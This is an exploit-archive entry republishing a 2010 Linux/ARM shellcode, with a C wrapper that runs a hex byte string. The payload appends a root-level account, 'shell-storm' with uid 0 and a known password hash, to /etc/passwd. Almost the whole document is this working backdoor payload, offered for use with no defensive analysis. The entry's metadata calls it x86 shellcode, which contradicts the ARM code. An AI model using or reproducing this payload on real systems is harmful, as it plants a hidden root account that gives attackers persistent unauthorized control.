linux/ARM - add root user with password - 151 bytes

2010-11-26T00:00:00
ID 1337DAY-ID-14968
Type zdt
Reporter Jonathan Salwan
Modified 2010-11-26T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ===================================================
linux/ARM - add root user with password - 151 bytes
===================================================

/*
** Title:     Linux/ARM - add root user with password - 151 bytes
** Date:      2010-11-25
** Tested on: ARM926EJ-S rev 5 (v5l)
** Author:    Jonathan Salwan - twitter: @shell_storm
**
** http://shell-storm.org
**
** Informations:
** -------------
**               - user: shell-storm
**               - pswd: toor
**               - uid : 0
*/
 
#include <stdio.h>
 
 
char SC[] =
            /* Thumb mode */
            "\x05\x50\x45\xe0"  /* sub  r5, r5, r5 */
            "\x01\x50\x8f\xe2"  /* add  r5, pc, #1 */
            "\x15\xff\x2f\xe1"  /* bx   r5 */
 
            /* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND, 0644) = fd */
            "\x78\x46"          /* mov  r0, pc */
            "\x7C\x30"          /* adds r0, #124 */
            "\xff\x21"          /* movs r1, #255 */
            "\xff\x31"          /* adds r1, #255 */
            "\xff\x31"          /* adds r1, #255 */
            "\xff\x31"          /* adds r1, #255 */
            "\x45\x31"          /* adds r1, #69 */
            "\xdc\x22"          /* movs r2, #220 */
            "\xc8\x32"          /* adds r2, #200 */
            "\x05\x27"          /* movs r7, #5 */
            "\x01\xdf"          /* svc  1 */
 
            /* r8 = fd */
            "\x80\x46"          /* mov  r8, r0 */
 
            /* write(fd, "shell-storm:$1$KQYl/yru$PMt02zUTW"..., 72) */
            "\x41\x46"          /* mov  r1, r8 */
            "\x08\x1c"          /* adds r0, r1, #0 */
            "\x79\x46"          /* mov  r1, pc */
            "\x18\x31"          /* adds r1, #24 */
            "\xc0\x46"          /* nop (mov r8, r8) */
            "\x48\x22"          /* movs r2, #72 */
            "\x04\x27"          /* movs r7, #4 */
            "\x01\xdf"          /* svc  1 */
 
            /* close(fd) */
            "\x41\x46"          /* mov  r1, r8 */
            "\x08\x1c"          /* adds r0, r1, #0 */
            "\x06\x27"          /* movs r7, #6 */
            "\x01\xdf"          /* svc  1 */
 
            /* exit(0) */
            "\x1a\x49"          /* subs r1, r1, r1 */
            "\x08\x1c"          /* adds r0, r1, #0 */
            "\x01\x27"          /* movs r7, #1 */
            "\x01\xdf"          /* svc  1 */
 
            /* shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n */
            "\x73\x68\x65\x6c\x6c\x2d\x73\x74\x6f\x72"
            "\x6d\x3a\x24\x31\x24\x4b\x51\x59\x6c\x2f"
            "\x79\x72\x75\x24\x50\x4d\x74\x30\x32\x7a"
            "\x55\x54\x57\x6d\x4d\x76\x50\x57\x63\x55"
            "\x34\x6f\x51\x4c\x73\x2f\x3a\x30\x3a\x30"
            "\x3a\x72\x6f\x6f\x74\x3a\x2f\x72\x6f\x6f"
            "\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73"
            "\x68\x0a"
 
            /* /etc/passwd */
            "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
 
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}



#  0day.today [2018-01-10]  #